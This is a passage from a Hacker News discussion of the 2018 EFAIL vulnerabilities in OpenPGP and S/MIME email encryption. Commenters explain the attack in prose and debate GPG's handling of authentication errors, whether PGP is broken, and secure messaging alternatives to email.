EFail – Vulnerabilities in end-to-end encryption technologies OpenPGP and S/MIME (efail.de)

718 points by Foxboron on May 14, 2018 | hide | past | favorite | 288 comments

tc on May 14, 2018 | next [–]

Let's summarize the situation:

Abstract: S/MIME and MUAs are broken. OpenPGP (with MDC) is not, but clients MUST check for GPG error codes. Use Mutt carefully or copy/paste into GPG for now.

- Some mail clients concatenate all parts of a multipart message together, even joining partial HTML elements, allowing the decrypted plaintext of an OpenPGP or S/MIME encrypted part to be exfiltrated via an image tag. Mail clients shouldn't be doing this in any world, and can fix this straightforwardly.

- S/MIME (RFC 5751) does not provide for authenticated encryption, so the ciphertext is trivially malleable. An attacker can use a CBC gadget to add the image tag into the ciphertext itself. We can't expect a mail client to avoid exfiltrating the plaintext in this case. S/MIME itself needs to be fixed (or abandoned).

- OpenPGP (RFC 4880) provides for authenticated encryption (called "MDC", see sections 5.13 and 13.11 of the RFC) which would prevent a similar CFB-based gadget attack if enforced. GPG added this feature in 2000 or 2001. If the MDC tag is missing or invalid, GPG returns an error. If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code [1]. An application such as an MUA using it in this manner must check for the error code before rendering or processing the result. It seems this requirement was not made clear enough to implementors. The mail clients need to release patches to check for this error. This will create an incompatibility with broken OpenPGP implementations that have not yet implemented MDC.

- Even without clients enforcing or checking the authentication tag, it's a bit trickier to pull off the attack against OpenPGP because the plaintext may be compressed before encryption. The authors were still able to pull it off a reasonable percentage of the time. Section 14 of RFC 4880 actually describes a much earlier attack which was complicated in this same manner; it caused the OpenPGP authors to declare decompression errors as security errors.

Net-net, using encrypted email with Mutt is safe [2, Table 4], though even there, opening HTML parts encrypted with S/MIME in a browser is not, and double-checking how it handles GPG errors would be prudent before forking a browser on any OpenPGP encrypted parts. See the paper for other unaffected clients, including Claws (as noted below) and K-9 Mail (which does not support S/MIME). Otherwise, it's probably best to copy and paste into GPG (check the error code or ask it to write to a file) until this is worked out.

[1] https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...

[2] https://efail.de/efail-attack-paper.pdf

> jwildeboer on May 14, 2018 | parent | next [–]
>
> “If GPG is asked to write the plaintext as a file, it will refuse. When the output is directed to a pipe, it will write the output and return an error code”
>
> I honestly don’t care about the rationale, but this inconsistent behaviour is simply wrong. After 18 years of discussion, end this. Whenever DECRYPTION_FAIL occurs, there MUST be no decrypted content.
>
> > dfabulich on May 14, 2018 | root | parent | next [–]
> >
> > That's not really compatible with piped output. The encrypted message can't be authenticated until it has been completely processed, but the whole point of piping is to output bytes as soon as they're available.
> >
> > Perhaps the moral of this story is to disable GPG's pipe feature? But it's a legitimate and significant performance improvement for authentic messages. You "just" have to remember to check the error code and it's fine/safe.
> >
> > Perhaps that's just too much to ask. Maybe we just can't have fast streaming decryption because it's too hard for client developers to use safely. But that point of view is at least not obvious.
> >
> > (On the other hand, what were you planning to do with the piped output in the first place? Probably render it, right? If GPG clients stream unauthenticated bytes into a high-performance HTML renderer, the result will surely be efail.)
> >
> > > tptacek on May 14, 2018 | root | parent | next [–]
> > >
> > > That is *not* the whole point of piping, and the default behavior of GPG should be to buffer, validate the MDC, and release plaintext only after it's been authenticated. Pipes are a standardized Unix interface between processes, not a solemn pledge to deliver bytes as quickly as possible.

If pipes had the connotation you claim they do, *it would never be safe to pipe ciphertext*, because the whole goal of modern AEAD cryptography is never to release unauthenticated plaintext to callers.

Clients encrypting whole ISO images should expect that decryption will require a non-default flag. Ideally, GPG would do two-pass decryption, first checking the MDC and then decrypting. Either way, the vast, commanding majority of all messages GPG ever processes --- in fact, that the PGP protocol processes --- should be buffered and checked.

If you have a complaint about how unwieldy this process is, *your complaint is with the PGP protocol*. The researchers, and cryptographers in general, agree with you.

a3_nm on May 15, 2018 | root | parent | next [–]

Is it so easy for GPG to buffer the cleartext while validating the MDC? As the cleartext may not fit in RAM, this means that GPG could need to write it to a temporary file, right? But then, if decryption is aborted messily (e.g., the machine loses power), then this means that GPG would be leaving a file with part of the cleartext behind, which has obvious security implications.

You could also imagine a two-pass approach where you first verify and then decrypt, but then what about a timing attack where a process would be modifying the encrypted file between the two passes?

It doesn't look so easy to solve this problem -- arguably the right way would be to change the design of the OpenPGP protocol, cf https://www.imperialviolet.org/2014/06/27/streamingencryptio...

tptacek on May 15, 2018 | root | parent | next [–]

Again, the cleartext virtually always fits trivially in RAM, and when it doesn't, it can error out and require a flag to process. Yes, this is easy to fix.

OpenPGP needs to change as well, but that doesn't make insecure behavior acceptable in the interim, no matter what Werner Koch thinks.

dfabulich on May 14, 2018 | root | parent | prev | next [–]

What *is* the point of piping, in your view? My understanding is that it's a stream of bytes with backpressure, designed specifically to minimize buffering (by pausing output when downstream receivers are full/busy).

> If pipes had the connotation you claim they do, *it would never be safe to pipe ciphertext,* because the whole goal of modern AEAD cryptography is never to release unauthenticated plaintext to callers.

You say that like it's a reductio ad absurdum, but I think that's essentially right; you can't do backpressure with unauthenticated ciphertext. You have to buffer the entire output to be sure that it's safe for further processing.

Thus, if you want to buffer the entire output, don't use a pipe; ask the tool to generate a file, and then read the file only when the process says that the file is done and correct.

(I'd say that's a lot more wieldy than two-pass decryption.)

Based on your other remarks about PGP, (nuke it from orbit) I'm not sure you have any constructive remarks to make on how to improve GPG, but I guess making it two-pass by default (with a --dangerous-single-pass flag) would be an improvement.

For normal size emails, users probably wouldn't notice the performance cost of the second pass, and clients who care about performance at that level can opt into single-pass decryption and just promise to check the error code.

tedunangst on May 15, 2018 | root | parent | next [–]

You know sort works with pipes, right? It doesn't squirt out mostly sorted output whenever it feels like it.

tptacek on May 14, 2018 | root | parent | prev | next [–]

Backpressure is a *feature* of Unix pipes. It isn't their raison d'être.

I don't care how you implement it, but any claim that you can't check the MDC in GPG because it's a piped interface is obviously false. GPG can, like any number of Unix utilities, some casually written and some carefully written, simply buffer the data, process it, and write it.

dfabulich on May 15, 2018 | root | parent | next [–]

Nobody said "you can't check the MDC." Everybody said "you have to check GPG's error code."

And I think it's clear to everybody (in this thread) that GPG's approach is a dangerous blame-the-user approach to API design, even granting that this dangerous approach offers optimum performance (especially relative to adding an entire second pass).

tptacek on May 15, 2018 | root | parent | next [–]

There's no difference. You're talking about the program, I'm talking about the mechanism. Either way:

* GPG should never release unauthenticated plaintext to callers. The exit code is a red herring.

* Nothing about "pipes" prevents them from squelching unauthenticated plaintext.

JdeBP on May 15, 2018 | root | parent | prev | next [–]

You are getting your concepts confused. Pipes are one thing, but the concept at hand is in fact *filters*, programs that primarily read data from their standard inputs and write other (processed) data to their standard outputs. What pipes involve is a red herring, because filters do not necessitate pipes. *Filters* have no requirements that they write output whilst there is still input to be read, and several well-known filter programs indeed do not do that.

loup-vaillant on May 14, 2018 | root | parent | prev | next [–]

This is why I initially hesitated to implement a streaming interface for my crypto library[1] (authenticated encryption and signatures). I eventually did it, but felt compelled to sprinkle the manual with warnings about how streaming interfaces encourage the processing of unauthenticated messages.

Now that we have a vulnerability with a name, I think I can make those warning even scarier. I'll update that manual.

[1]: https://monocypher.org/

tome on May 15, 2018 | root | parent | prev | next [–]

Isn't it possible to adjust any existing authentication scheme to authenticate block-by-block?

orivej on May 14, 2018 | parent | prev | next [–]

> Use Mutt carefully or copy/paste into GPG for now.

According to [1], Claws Mail is also unaffected. I don't know if it was tested with or without its HTML plugin, but this should make no difference as long as the plugin is not configured to access remote resources. (By default it can not make network requests.)

https://twitter.com/matthew_d_green/status/995998626785714176...

mirimir on May 14, 2018 | parent | prev | next [–]

OK, so Thunderbird plus Enigmail is probably most popular in Linux. And according to Robert J. Hansen:[0]

> By default, GnuPG will scream bloody murder if a message lacks an MDC or if the MDC is invalid. At that point it's up to your email client to pay attention to the warning and do the right thing. Enigmail 2.0 and later are fine, but I can't speak for other systems.

So if you use Enigmail, do make sure that you're not at v1.99. Just get the add-on in Thunderbird.

Also, of course, make sure that external resources aren't being fetched.

0) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

Edit: Oh, but damn. There's more in that thread. Enigmail >v2 can be forced to decrypt with MDC missing.[1] And this is a gpg bug:[2]

> ... and Patrick, moving faster than the speed of light, already has the bug triaged and bounced back. This is actually a GnuPG bug, not an Enigmail bug. ...

However:[3]

> It's worth noting, incidentally, the #Efail attack flat-out requires MIME. So inline PGP messages are not vulnerable, as there's no MIME parsing pass which can be exploited. So you're *still* safe, although this is still a bug that should be fixed. ;)

I also saw something about it requiring HTML decoding, but can't find it again :(

1) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

2) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

3) https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...

More: Yes, disable HTML rendering. In Thunderbird, select "/ View / Message Body As / Plain Text".

And:[4]

> The EFAIL attacks break PGP and S/MIME email encryption by coercing clients into sending the full plaintext of the emails to the attacker. In a nutshell, EFAIL abuses active content of HTML emails, for example externally loaded images or styles, to exfiltrate plaintext through requested URLs. To create these exfiltration channels, the attacker first needs access to the encrypted emails, for example, by eavesdropping on network traffic, compromising email accounts, email servers, backup systems or client computers. The emails could even have been collected years ago.

So basically, 1) the attacker embeds a link to the encrypted message, 2) the email client fetches and decrypts it, and then 3) sends plaintext back to the attacker.

4) https://lists.cpunks.org/pipermail/cypherpunks/2018-May/0421...

ms7821b on May 15, 2018 | root | parent | next [–]

> So basically, 1) the attacker embeds a link to the encrypted message, 2) the email client fetches and decrypts it, and then 3) sends plaintext back to the attacker.

What? The attacker embeds secure content inside a link, not a link to the content. It could come from files stored in a public place or emails.

mirimir on May 15, 2018 | root | parent | next [–]

Thanks.

FrantaH on May 14, 2018 | parent | prev | next [–]

Check RFC2634 before you abandon S/MIME. Triple wrapping solves surreptitious forwarding, which is how this attack works. Sadly AFAIK it's implemented only in Trustedbird.

baby on May 14, 2018 | prev | next [–]

Matt Green gave a pretty good summary of this: https://twitter.com/matthew_d_green/status/995989254143606 78...

Some of these thoughts are echoed by Filippo:

> No, in 2018 you don’t get to claim the high ground and blame users and implementations if your crypto API returns the plaintext on a decryption error.

from https://twitter.com/FiloSottile/status/996010161427935233

So yeah, most clients seem vulnerable but since the command line utility that pretty much no lambda users use is not broken HN is saying that this is a joke?

As for contacting the PGP team, I've tried reaching out Werner Koch many time for a vuln in libgcrypt without success. That was 2 years ago, the vuln is still there.

scandox on May 14, 2018 | parent | next [–]

I think what people are saying is that this has been represented as an intrinsic flaw in PGP and that this may cause the media to basically say PGP is broken.

I agree that this is significant because it affects many users and the potential effect is extremely negative.

On the other hand if the headlines on this were more focused I think people on HN would not have reacted so negatively.

baby on May 14, 2018 | root | parent | next [–]

When almost all implementation of PGP are broken, can we say PGP is broken?

LinuxBender on May 14, 2018 | root | parent | next [–]

Is PGP broken? Or the plugins that make PGP easier to use email, that are rendering HTML, or those perhaps what is really broken?

tptacek on May 14, 2018 | root | parent | next [–]

Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now; the attack published today is an applied refinement of theoretical tools we've had for a very long time.

The MAC of a PGP message is the SHA-1 of its plaintext appended to the message.

There are coherent ways to downplay today's announcement, but "PGP isn't broken" isn't one of them. The best you can do is "PGP is broken but we already knew that".

xoa on May 14, 2018 | root | parent | next [–]

>Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now; the attack published today is an applied refinement of theoretical tools we've had for a very long time.

Yes. But unless I've missed something no one has bothered to even attempt any modernized, improved replacement, so we continue to muddle along. I've certainly heard complaints about existing secure email technologies for well over a decade, but at the same time the cryptography field has never offered an upgrade. Instead it's always been "completely give up on the concept of email (which in no way needs to be insecure) for these modern hip non-federated often proprietary clunky slow kitchen sink instant messenger things instead". To which the answer has and continues to be "no".

Maybe we live in a world where the creation and upgrading of a technology like email is no longer feasible and that's just how it is. If so though I foresee email as it is existing into the foreseeable future, and in turn it'll be useful to have some sort of crypto bolted on top, as a marginal improvement vs entirely plain text. Hopefully there will be enough security oxygen that OpenPGP could at least modernize the foundations a little even if it meant some breaking changes to old implementations.

tptacek on May 14, 2018 | root | parent | next [–]

No, contrary to what you're saying, virtually all the work done in retail cryptography over the last several years has been in secure messaging. Don't send secrets over email; use a cryptographically secure messaging application, like Signal or Wire.

xoa on May 14, 2018 | root | parent | next [–]

>No, contrary to what you're saying, virtually all the work done in retail cryptography over the last several years has been in secure messaging.

That is not contrary to what I'm saying, that is *exactly* what I'm saying. Much of the world, both corporate and private, do not want "messaging", they want "email". I use scare quotes for the latter because I want to distinguish between email as in existing technical standards dating all the way back to RFC 561 and email as-in that kind of information transfer service and format, distinct from messaging. Messaging has its place too, but there is clearly a desire for an electronic version of sending a piece of mail. It fits human and cultural psychology. It produces a different kind of consideration and formatting, which has both its merits and demerits. But messaging is not a replacement for email. You can insist that it is but I don't think you will be successful, and you should know better then most that security which isn't used isn't useful security.

>Don't send secrets over email

Back here on Planet Earth sending all sorts of secrets over email and using it for authentication of incredibly important accounts is the regrettable rule, not the exception. Like use of passwords. It is the reality in which we live. I see no sign of it changing either unless there is a direct in-place upgrade available. Which there is not.

>replace email with this thing that requires a phone number and is not like email

No.

>replace email with this thing that didn't even bother to add e2e crypto until 2016, claims to be agpl/gplv3 but then adds a bunch of other random crap on top, etc. Also not email.

No.

baby on May 14, 2018 | root | parent | next [–]

The problem with emails is that you have to deal with a thousand different clients implementing things differently. There is no win there.

smsm42 on May 14, 2018 | root | parent | prev | next [–]

Yeah right. "How can we communicate this piece of secret info?" - "Oh, that's simple. You just need to a) switch to your

mobile device, if you don't have one, buy one. If you don't have mobile phone line, buy that one too while you're at it b) install a software you've never heard about before - trust me, it's ok because nobody ever had any trouble with software downloaded from internet c) send your private information - namely, your private phone number - to it d) send your private information to me e) receive my private information about my phone number - trust me, it doesn't have to be communicated securely f) get secret information sent to your mobile device g) figure out how to get this information to your desktop device now securely, it's not my problem anymore, figure it out h) figure out how to remove this information from your private mobile device. You see, much simpler than sending an email!"

rocqua on May 14, 2018 | root | parent | prev | next [–]

It woulds still be great to get some sort of protocol that will work over email. This is still the de-facto way of communication. If we can secure it, it would be a massive win. Much like the wide-spread use of HTTPS over HTTP was a massive win.

tptacek on May 14, 2018 | root | parent | next [–]

Why would that be a good thing? You'd still be left with a system that leaks immense amounts of metadata, which is often all government adversaries really care about, where the majority of the installed base isn't encrypted and you have to interoperate, and the vast majority of users gets access to messages through a web browser and so is hamstrung on secure delivery of encryption in the first place.

Just stop using email to deliver secrets.

xoa on May 14, 2018 | root | parent | next [–]

>Just stop using email to deliver secrets.

At the least I'm not sure this is legally feasible under ERISA electronic delivery requirements, to name a single one amongst a host of other often incredibly complex regulations. It might be ok under the UETA, but either way that wouldn't be my call.

I am 100% sure that it wouldn't be ok with coworkers, customers, and in turn bosses, so demanding to cease all usage of email would get me fired. I mean, even entirely plain text email isn't sufficient to get anyone to stop using it to deliver secrets. It's been a real improvement just to have the MUA<>Server connection be encrypted, and even that is probably still not universal!

dasil003 on May 14, 2018 | root | parent | prev | next [–]

I think the GP's desire is not email per se, but rather an open and federated protocol like email so we aren't dependent on a single commercial vendor. I'm not really sure how practical that is since it's really hard to get broad adoption of a new protocol on today's internet.

e12e on May 14, 2018 | root | parent | prev | next [–]

Sure, email leaks meta-data.

But at its core, the promise of pgp/gpg is the promise of encrypted and authenticated file transfer.

The file might come from ftp, samba/cifs, Dropbox/Google drive/etc, from tape or HD backup - or come attached to an email.

It may come from yourself, or from a friend.

But the promise is that between the encryption and signing - and the verification and decryption - the file remain the same. The zip file is as (Un)safe to extract, the font as (Un)safe to render - the installer or the executable as (Un)safe.

If you have (authenticated) file encryption, you have encrypted email.

If you want to use authenticated file encryption as a *secure messaging platform*, you should probably invest in a more sane format for your *plaintext file* than email. And a better wrapping transport than email.

The fundamental problems with email+pgp as a secure messaging platform isn't pgp alone - but the intersection of email-the-format, email-the-protocol mixed with the mail user agents and their 80s trusting file handling (ok, that's unfair to the 80s, we're still too trusting when it comes to files in general and transclusion

in particular).

In short, I don't think we should give up all of pgp as such (open, secure, authenticated file encryption and Web of trust).

But it's probably true that newer protocols are better for "real-time" messaging, and perhaps usenet is better for hold-and-forward.

[ed: I'd love to hear some current informed discussion about: https://saltpack.org/ mentioned in this discussion here. From the previous hn discussion it seems reasonable; a sane format (message pack), authenticated encryption primitives - but I worry a bit about public key handling - is there Web of trust/certificate support - and if so, is it sane? I'm not saying pgp/gpg wot is sane. But neither is ssh (certs) in practice. I'd much prefer wot - were for some applications I could choose arbitrary key/certs as authorative CAs and give out short-lived "certs" (signed public keys with valid from-to).]

smsm42 on May 14, 2018 | root | parent | prev | next [–]

> a system that leaks immense amounts of metadata

Doesn't Signal require you to publish your actual phone number, which reveals your RL identity in the network pretty much completely controlled by government?

tptacek on May 14, 2018 | root | parent | next [–]

No.

comex on May 15, 2018 | root | parent | next [–]

Explain? I Googled it and it seems that Signal still doesn’t support having an account that isn’t tied to a phone number. Some of the results suggest working around the limitation by obtaining a phone number just for Signal from third parties, but that’s not a particularly reasonable alternative.

tptacek on May 15, 2018 | root | parent | next [–]

https://theintercept.com/2017/09/28/signal-tutorial-second-p...

smsm42 on May 15, 2018 | root | parent | next [–]

This article explains how to create a second phone number, for usage for Signal. Which confirms my assertion that you need phone number, and makes your statement of "no" completely false. Among options offered:

The desk phone at your office.

A free Google Voice phone number, if you live in the United States (this is what I do).

Any phone number from any online calling service, like Skype.

A cheap pre-paid SIM card for a few dollars a month (and temporarily put it on your phone to register your second Signal number).

Twilio, a cloud service that allows developers to write software that makes and receives phone calls and SMS messages.

Obviously, each of those still requires registration within government-controlled phone network, and additionally also may require you to entrust your security to a third party - such as your employer, Google, Microsoft or Twilio. So in fact, you refutation of my assertion "you need to publish a phone number" is "you can have two phone numbers". This is not serious.

smsm42 on May 15, 2018 | root | parent | next [–]

As an added bonus, some of these creative solutions also make MITM-ing the whole scheme as trivial as "our corporate phone tree has changed, please use new number 1-555-666-666 to contact me from now on". You have no way to verify it, nobody knows how corporate trees and phone prefixes look like. And of course if the person is fired or reassigned or leaves the job (which never happens!), their account is now under control of some unknown third person.

twr on May 15, 2018 | root | parent | next [–]

Signal doesn't entrust security to carriers. Messages are sent E2E encrypted to the registered device over the internet. If someone MitMs a device, the safety numbers would not match on either end.

Signal, and the Signal server operators, malicious or not, do not know the phone numbers of people you are communicating with (presuming the secure enclave on the server isn't cracked). Signal does know your phone number, so someone could figure out if you use Signal. If you're worried about that, or personal sharing of your number, you could falsify information to create an anonymous phone number, or you can just use Matrix or Wire.

jkaplowitz on May 15, 2018 | root | parent | next [–]

My experience of Signal is that people don't reliably follow up on safety number changes, yet keep using it in a MITM-vulnerable way. Including myself, honestly, because people change or reset phones frequently. Is your experience different?

At least with GPG I can factory reset all of my computers and phones and not have to re-establish trust if I take the right steps to preserve the secret key information.

Even if I don't preserve that correctly, people change computers less often than phones.

On the other hand, I'll admit that my GPG key is newer than my Signal number (which I've owned for 15 years), due to upgrading crypto algorithms.

twr on May 15, 2018 | root | parent | next [–]

It isn't. I rarely send sensitive messages, however, so I feel that some surveillance potential is acceptable, to save time and effort. The few times where I did, I first verified both ends.

I perform the safety number verifications in exchange for forward and backward secrecy. GPG isn't enough to establish a truly confidential communication channel, I think. (Unless you erase keys after every sent message, maybe.)

I'm not happy with Signal's dependence on a phone. Ideally I'd like to use a pocket-sized SBC for secure messaging. Come to think of it, that sounds rather like a phone. Just, uh, without the cellular hardware, and with a user-installed OS.

smsm42 on May 15, 2018 | root | parent | prev | next [–]

It entrusts the identity to carriers. What use of having perfect

peer-to-peer security if you can't be sure who you are talking to? So you will send the data to Eve in a perfectly secure way, while thinking you're talking to Bob - and that's better than Eve breaking the encryption? I say it's much less work for Eve - instead of employing vast resources to exploit a tiny vulnerability in encryption, she would just need to take over a phone number. And if she works for the government, it's not even a hard thing to do.

twr on May 15, 2018 | root | parent | next [–]

Again, you can be sure, by comparing the safety numbers. It's the same as comparing SSH or GPG key fingerprints. If someone else masquerades as Bob, the numbers won't match. See section III-D3, *key fingerprint verification*: https://www.ieee-security.org/TC/SP2015/papers-archived/6949...

smsm42 on May 16, 2018 | root | parent | next [–]

That would be true if people routinely verified fingerprints of their contacts. I don't think it happens more often than any other commonly ignored security precautions. Also, what happens if the phone is lost/damaged/replaced with a newer model? I assume new key and thus new fingerprint?

twr on May 16, 2018 | root | parent | next [–]

Signal, WhatsApp, Matrix et al. show notifications when the participant’s device keys change. You’re right that most users don’t verify. The opportunity for detection or prevention of common forms of surveillance is better than none at all.

acct1771 on May 14, 2018 | root | parent | prev | next [–]

Not ready to recommend Riot/Matrix?

tptacek on May 14, 2018 | root | parent | next [–]

I do not recommend it, but it's very probably better than PGP email.

yacn on May 14, 2018 | root | parent | next [–]

Why don't you recommend it?

tptacek on May 14, 2018 | root | parent | next [–]

Wouldn't a bunch of secure messenger drama be fun right now?

yacn on May 14, 2018 | root | parent | next [–]

Sorry, I'm just not nearly as familiar with the intricacies and differences between them, know that you definitely know your stuff on crypto, and always thought Matrix seemed cool/interesting.

cvwright on May 14, 2018 | root | parent | prev | next [–]

At some point, all the recent work that tptacek mentioned on encrypted messengers is going to percolate up into email.

Taking something like megolm [1] and running it over SMTP is such an obvious answer that, eventually, somebody will give it a go. Until then, we get to keep having this argument on the internet every few weeks...

[1] https://git.matrix.org/git/olm/about/docs/megolm.rst

Natanael_L on May 14, 2018 | root | parent | prev | next [–]

It does exist, but has approximately zero users

https://saltpack.org/

No PFS, though

xoa on May 14, 2018 | root | parent | next [–]

FWIW thank you for that, even without PFS and no adoption it's at least interesting to see a more recent effort to work within the flawed existing email system but do a bit better then PGP. Like OpenPGP or S/MIME themselves I guess, simply made with something beyond 90s era crypto experience. Although even for something at that stage I'm surprised they don't have anything I can see about what the identities they use are like in the FAQ at least. That's a significant practical difference in PGP and S/MIME for example.

Now that I think about it there is also a modest effort to simply enhance the UI of the whole deal through transparent embedding vs as an attachment. I think modest efforts of that nature that are evolutionary vs revolutionary around existing installed base will like it or not continue to serve an important practical role.

marbu on May 15, 2018 | root | parent | prev | next [–]

> Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now

Do you mean that gpg is broken for non email use cases as well? Eg. encrypting tarball with backups using gpg and then storing it on some cloud service?

LinuxBender on May 14, 2018 | root | parent | prev | next [–]

What would be the most sensible steps forward for the PGP maintainers? Is this a rewrite, or can they iterate though and make incremental improvements around the flaws that have been discussed over the past decade?

Natanael_L on May 14, 2018 | root | parent | next [–]

A bit of both. We can fix a few bits in compatible ways, but it's not a reliable long term solution.

Long term, we really need an upgrade that breaks compatibility with old unfixable clients

John_KZ on May 16, 2018 | root | parent | prev | next [–]

>Pretty much the whole cryptography field has been saying PGP is broken for something close to a decade now;

No they don't. Also PGP works just fine. It could use some improvements, but it's doing well.

smsm42 on May 14, 2018 | root | parent | prev | next [–]

In this particular case, some implementations of one of the use cases are broken. This is completely incorrect to say PGP is broken as it implies all (or most) use cases and not only particular scenario.

ComodoHacker on May 14, 2018 | root | parent | prev | next [–]

But in MOV SS/POP SS case we don't say Intel chips are broken, we fix the OSes and the docs.

Natanael_L on May 14, 2018 | root | parent | next [–]

Why not both? Documentation can also be faulty

aepiepaey on May 14, 2018 | parent | prev | next [–]

So what would you expect GPG to do when invoked to operate on a pipe (rather than a file[1])? Buffer (possibly) gigabytes of decrypted data in memory, just to be

able to discard it once DECRYPTION_FAILED is detected?

[1]: where GPG does the right thing

sp332 on May 14, 2018 | root | parent | next [–]

Relevant comment from Werner Koch: https://twitter.com/FiloSottile/status/996011473112576000

Either GPG buffers the data and checks for DECRYPTION_FAILED, or the application depending on GPG does. Of the two options, it makes much more sense for GPG to handle this.

tptacek on May 14, 2018 | root | parent | next [–]

This is shades of the curl maintainer rationalizing CURL_SSL_VERIFYHOST=1 not doing any checking, because CURL_SSL_VERIFYHOST=2 does.

slrz on May 14, 2018 | root | parent | prev | next [–]

The application is likely better equipped to do something reasonable if temporarily storing lots of data is in order.

Still, GnuPG could do the buffering automatically for small messages and force explicit configuration otherwise. The latter might not be realistically enforcable given the compatibility constraints.

jwildeboer on May 14, 2018 | root | parent | prev | next [–]

DECRYPTION_FAILED should always result with an empty return. Not with the decrypted content.

eigengrau on May 14, 2018 | root | parent | prev | next [–]

It might be prudent to have GnuPG return an error exit code instead of just printing a warning on stderr. Currently, it seems that clients (at least when using the shell interface) are supposed to parse the error stream. And even when they do (which many probably don't), it's not necessarily obvious that the presence of warnings indicates to the client that the data should not be used.

tptacek on May 14, 2018 | root | parent | prev | next [–]

Yes. *It has one job!*

shinigami on May 14, 2018 | root | parent | prev | next [–]

It should split it in chunks and authenticate each one of them. Then the worst attack would be the ability to truncate the file, and it could be at least detected.

Unfortunately this is not supported by the PGP spec, or any other well established spec.

tptacek on May 14, 2018 | root | parent | next [–]

What's happened here is that GPG has used the OpenPGP spec as excuse to support extremely insecure default behavior. In reality, GPG can simply buffer and check before writing to stdout, and, in the rare cases where messages are too large to buffer, a flag can be used to override the secure default.

shinigami on May 14, 2018 | root | parent | next [–]

I agree they should have done that as a stopgap measure, but we should push for security in all cases (e.g. streaming AEAD with STREAM or CHAIN https://github.com/miscreant/miscreant/wiki/STREAM)

tptacek on May 14, 2018 | root | parent | next [–]

I'm not super psyched to see 1990s crypto vulnerabilities used as an opportunity to promote hipster schemes that literally nobody uses. Virtually all modern cryptosystems handle this problem already.

shinigami on May 14, 2018 | root | parent | next [–]

AEAD was also a hipster scheme that literally nobody used. That's the whole point.

In Twitter you even linked to Adam Langley's post where he suggests something exactly like STREAM/CHAIN!

Which modern cryptosystems handle this problem? Tahoe-LAFS is the only one that comes to mind. Not being snarky here, I'm genuinely interested in knowing this.

cyphar on May 15, 2018 | root | parent | next [–]

Modern TLS uses AEAD in the form of ChaCha20-Poly1305 as well as AES-GCM. I believe that the current standards in AEAD for ciphers are GCM-mode, EAX-mode and OCB-mode (CCM-mode is also used but only because it has no patents while OCB does -- CCM is more complicated and doesn't have some nice properties that OCB has).

shinigami on May 15, 2018 | root | parent | next [–]

Yes, but that's an online protocol. The problem here is data at rest...

cyphar on May 15, 2018 | root | parent | next [–]

All of the cipher suites I mentioned can be used with at-rest data (including ChaCha20-Poly1305, and AES-{GCM,EAX,OCB}), which means that there's nothing stopping PGP from adding support for them.

But since you asked, the offline backup software restic[1] uses AEAD (though it's a mix of AES-256-CTR and Poly1305 rather than AES-GCM[2] -- but it's still an AEAD construction). I also recently started working on a paper-backup project, and used ChaCha20-Poly1305 over PGP because of the lack of AEAD (and also because it is vulnerable to surreptitious forwarding -- something that AEAD also solves[3]).

There are distinctions between online and offline protocols (mainly related to PFS), but whether or not AEAD-capable cipher suites can be used is not one of them.

[1]: https://restic.net/ [2]: https://blog.filippo.io/restic-cryptography/ [3]: https://www.usenix.org/legacy/publications/library/proceedin...

shinigami on May 15, 2018 | root | parent | next [–]

AEAD is not enough. How do you decrypt/verify a 100 GB file with AEAD, without disclosing unauthenticated plaintext in a single pass? You need streaming AEAD like STREAM or CHAIN.

cyphar on May 15, 2018 | root | parent | next [–]

Doesn't OCB allow you to stream and verify in a single-pass (because the MAC is embedded in the 128-bit blocks of the underlying cipher blocks)?

shinigami on May 16, 2018 | root | parent | next [–]

I'm not sure I understand. In OCB (or any other AEAD) there is a single MAC for the entire ciphertext. You can't decrypt&verify large data in a single pass.

cyphar on May 16, 2018 | root | parent | next [–]

You are completely right that for some constructions (such as ChaCha20-Poly1305, AES-CCM, and possible AES-GCM) there is only a single MAC for the entire ciphertext.

However that is not true for other constructions. AES-OCB is a single-pass cipher that has a MAC for *each block* (this is actually the main selling feature of OCB). (AES-EAX also has a MAC for each block too, but is two-pass.)

Also, STREAM/CHAIN are also AEAD, so your generalisation can't be always true.

shinigami on May 17, 2018 | root | parent | next [–]

I don't see it. From https://www.rfc-editor.org/rfc/rfc7253.txt :

Function name: OCB-ENCRYPT Input: K, string of KEYLEN bits // Key N, string of no more than 120 bits // Nonce A, string of any length // Associated data P, string of any length // Plaintext Output: C, string of length bitlen(P) + TAGLEN

bits // Ciphertext

Only a single tag, exactly like CCM and GCM. Am I missing something?

It depends on what you call "AEAD", of course. For me it's something that generates a single MAC. STREAM/CHAIN can then be used with an underlying AEAD (GCM, CCM, OCB, SIV) to create a "streaming AEAD" that generates multiple chunks, each one of them with a MAC.

cyphar on May 18, 2018 | root | parent | next [–]

I'll be honest, I was going off the Wikipedia description of the algorithm.

But looking at the RFC you're right that there's only one authentication tag (I also looked at the GPG implementation as well as the proposed OpenPGP RFC for AEAD -- and it looks like they implement chunking on top of OCB/EAX/GCM for this reason). I stand corrected.

rocqua on May 14, 2018 | root | parent | prev | next [–]

If the message is too large to buffer, one might also first just decrypt and stream the plaintext into sha-1.

Once the MDC clears, you can just decrypt again, this time writing to stdout.

tedunangst on May 14, 2018 | root | parent | next [–]

This is difficult if the input is a nonseekable stream, but that doesn't excuse producing bad output.

tptacek on May 14, 2018 | root | parent | next [–]

That's why I didn't suggest it, but to be fair, you could tee the stream into an intermediate file for a two-pass scheme.

Xylakant on May 14, 2018 | root | parent | prev | next [–]

Aren’t modern ciphers checksummed and authenticated blockwise? If so, you could just abort the moment you see a broken block. Anything before that block would not be under the attackers control and harmless.

tptacek on May 14, 2018 | root | parent | next [–]

Modern AE schemes are designed to make it easy to quickly abort the whole decryption operation as soon as an error is detected. But the PGP protocol is from the 1990s, and uses vanilla CBC or CFB and then tacks the SHA-1 hash of the plaintext to the end of the message in a separate record.

Xylakant on May 14, 2018 | root | parent | next [–]

So the reasonable answer for me would be “go forth and use a modern scheme by default.”

rocqua on May 14, 2018 | root | parent | next [–]

The issue there is that if you call something PGP, people expect backwards compatibility, but if you switch to a different mode of encryption that becomes a massive pain.

Xylakant on May 14, 2018 | root | parent | next [–]

